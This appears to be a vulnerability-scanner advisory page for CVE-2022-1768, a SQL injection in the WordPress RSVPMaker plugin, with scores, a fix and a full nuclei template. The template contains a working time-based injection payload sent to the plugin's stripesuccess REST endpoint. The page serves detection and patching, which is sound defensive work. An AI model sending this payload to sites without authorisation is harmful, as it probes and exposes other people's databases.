WordPress RSVPMaker <=9.3.2 - SQL Injection

highseverity

7.5CVSS score

12.9%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

WordPress RSVPMaker plugin through 9.3.2 contains a SQL injection vulnerability due to insufficient escaping and parameterization on user-supplied data passed to multiple SQL queries in ~/rsvpmaker-email.php. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.

Fix

Update to the latest version of the RSVPMaker plugin (9.3.3 or higher) to mitigate the SQL Injection vulnerability.

How to confirm it

Send: @timeout: 15s
Positive when: duration>=7 AND contains "\"payment_confirmation_message\":" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2022-1768 -u <target>

The full check

id: CVE-2022-1768

info:
  name: WordPress RSVPMaker <=9.3.2 - SQL Injection
  author: edoardottt
  severity: high
  description: |
    WordPress RSVPMaker plugin through 9.3.2 contains a SQL injection vulnerability due to insufficient escaping and parameterization on user-supplied data passed to multiple SQL queries in ~/rsvpmaker-email.php. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.
  remediation: |
    Update to the latest version of the RSVPMaker plugin (9.3.3 or higher) to mitigate the SQL Injection vulnerability.
  reference:
    - https://gist.github.com/Xib3rR4dAr/441d6bb4a5b8ad4b25074a49210a02cc
    - https://wordpress.org/plugins/rsvpmaker/
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2725322%40rsvpmaker&new=2725322%40rsvpmaker&sfp_email=&sfph_mail=
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1768
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2022-1768
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-1768
    cwe-id: CWE-89
    epss-score: 0.1286
    epss-percentile: 0.96331
    cpe: cpe:2.3:a:carrcommunications:rsvpmaker:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: carrcommunications
    product: rsvpmaker
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,wordpress,wp-plugin,wp,sqli,rsvpmaker,carrcommunications,vkev,vuln

http:
  - raw:
      - |
        @timeout: 15s
        POST /wp-json/rsvpmaker/v1/stripesuccess/anythinghere HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        rsvp_id=(select(0)from(select(sleep(7)))a)&amount=1234&email=randomtext

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'

      - type: word
        part: body
        words:
          - '"payment_confirmation_message":'

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from